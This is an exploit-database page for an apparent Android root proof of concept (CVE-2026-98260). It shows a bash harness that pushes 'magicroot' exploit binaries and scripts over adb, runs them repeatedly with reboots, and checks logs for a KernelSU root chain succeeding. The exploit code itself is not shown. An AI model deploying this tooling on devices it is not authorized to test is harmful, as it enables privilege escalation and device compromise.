Exploit database

GH-3bfd767c2c7d1e0db07866f818655dd5

haor/cve-2026-98260-opd2513

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-98260

61 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
haor/cve-2026-98260-opd2513Revision 2eb0b7db7877

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

scripts/upstream/run-adb.sh

Shell · 4,189 bytes
#!/usr/bin/env bash
# Run CVE-2026-98260 run.sh directly through adb shell.
#
# This avoids the Shizuku/app UI path: the same shell-domain launcher is used,
# assets are pushed from this checkout, and a local log is kept for each run.
set -euo pipefail

REPO=$(cd "$(dirname "$0")/.." && pwd)
ADB=${ADB:-adb}
DIR=${DEVICE_DIR:-/data/local/tmp/cveapp}
DEPLOY=1
REQUIRE_CLEAN=0
REBOOT_FIRST=0
REBOOT_EACH=0
REPEAT=1
STOP_APP=0
APP_PACKAGE=${APP_PACKAGE:-com.rootcve.cve98260}
TIMEOUT=${TIMEOUT:-300}
LOG_DIR=${LOG_DIR:-"$REPO/logs/adb-$(date +%Y%m%d-%H%M%S)"}

usage() {
    cat <<'USAGE'
Usage: scripts/run-adb.sh [options]

  --deploy            push current assets/binaries before running (default)
  --no-deploy         use assets already on the device
  --require-clean     refuse to run if kernelsu is already live
  --reboot            reboot and wait before the first run
  --repeat N          run N times (default 1)
  --reboot-each       reboot and wait after each run
  --stop-app          force-stop the app before each clean check
  --timeout SEC       adb shell timeout per run (default 300)
  --log-dir DIR       local log directory
  -h, --help          show this help

Environment: ADB, DEVICE_DIR, TIMEOUT, LOG_DIR
USAGE
}

while [ $# -gt 0 ]; do
    case "$1" in
        --deploy) DEPLOY=1 ;;
        --no-deploy) DEPLOY=0 ;;
        --require-clean) REQUIRE_CLEAN=1 ;;
        --reboot) REBOOT_FIRST=1 ;;
        --repeat) shift; REPEAT=${1:?missing repeat count} ;;
        --reboot-each) REBOOT_EACH=1 ;;
        --stop-app) STOP_APP=1 ;;
        --timeout) shift; TIMEOUT=${1:?missing timeout} ;;
        --log-dir) shift; LOG_DIR=${1:?missing log dir} ;;
        -h|--help) usage; exit 0 ;;
        *) echo "unknown option: $1" >&2; usage >&2; exit 2 ;;
    esac
    shift
done

command -v "$ADB" >/dev/null 2>&1 || { echo "adb not found: $ADB" >&2; exit 2; }
[ -f "$REPO/app/prebuilt/arm64/magicroot" ] || { echo "missing magicroot; run make apk" >&2; exit 2; }
mkdir -p "$LOG_DIR"

wait_boot() {
    "$ADB" wait-for-device
    for _ in $(seq 1 60); do
        b=$("$ADB" shell getprop sys.boot_completed 2>/dev/null | tr -d '\r')
        if [ "$b" = "1" ]; then
            sleep 3
            return 0
        fi
        sleep 2
    done
    echo "device did not finish booting" >&2
    return 4
}

reboot_wait() {
    "$ADB" reboot
    wait_boot
}

deploy_assets() {
    "$ADB" shell "mkdir -p '$DIR'"
    for f in run.sh lib.sh clean.sh root_stage.sh \
             ko-syms-6.12.38.txt ko-syms-6.12.58.txt; do
        "$ADB" push "$REPO/app/assets/$f" "$DIR/$f" >/dev/null
    done
    "$ADB" push "$REPO/app/prebuilt/arm64/magicroot" "$DIR/magicroot" >/dev/null
    "$ADB" push "$REPO/app/prebuilt/arm64/libmagicroot.so" "$DIR/libmagicroot.so" >/dev/null
    "$ADB" shell "chmod 755 '$DIR/magicroot' '$DIR/libmagicroot.so' '$DIR/run.sh' '$DIR/root_stage.sh'"
}

ksu_live() {
    [ "$("$ADB" shell 'grep -q "^kernelsu " /proc/modules && echo live || echo clean' 2>/dev/null | tr -d '\r')" = "live" ]
}

if [ "$REBOOT_FIRST" = 1 ]; then
    reboot_wait
fi
if [ "$DEPLOY" = 1 ]; then
    deploy_assets
fi

fail=0
for run in $(seq 1 "$REPEAT"); do
    if [ "$run" -gt 1 ] && [ "$REBOOT_EACH" = 1 ]; then
        reboot_wait
    fi
    if [ "$STOP_APP" = 1 ]; then
        "$ADB" shell am force-stop "$APP_PACKAGE" >/dev/null 2>&1 || true
    fi
    if [ "$REQUIRE_CLEAN" = 1 ] && ksu_live; then
        echo "refusing run $run: kernelsu is already live" >&2
        exit 3
    fi
    boot=$("$ADB" shell cat /proc/sys/kernel/random/boot_id 2>/dev/null | tr -d '\r')
    log="$LOG_DIR/run-$run-$boot.log"
    echo "=== run $run boot=$boot ==="
    set +e
    timeout "$TIMEOUT" "$ADB" shell "cd '$DIR' && sh run.sh" 2>&1 | tee "$log"
    rc=${PIPESTATUS[0]}
    set -e
    sed -i 's/\r$//' "$log"
    if grep -q '^PARKED=1$' "$log"; then
        status=PARKED
    elif grep -qE '^(KSU_CHAIN_OK|DONE)$' "$log"; then
        status=OK
    else
        status=FAIL
    fi
    echo "=== run $run status=$status rc=$rc log=$log ==="
    if [ "$status" != "OK" ]; then
        fail=1
    fi
    if [ "$REBOOT_EACH" = 1 ]; then
        reboot_wait
    fi
done
exit "$fail"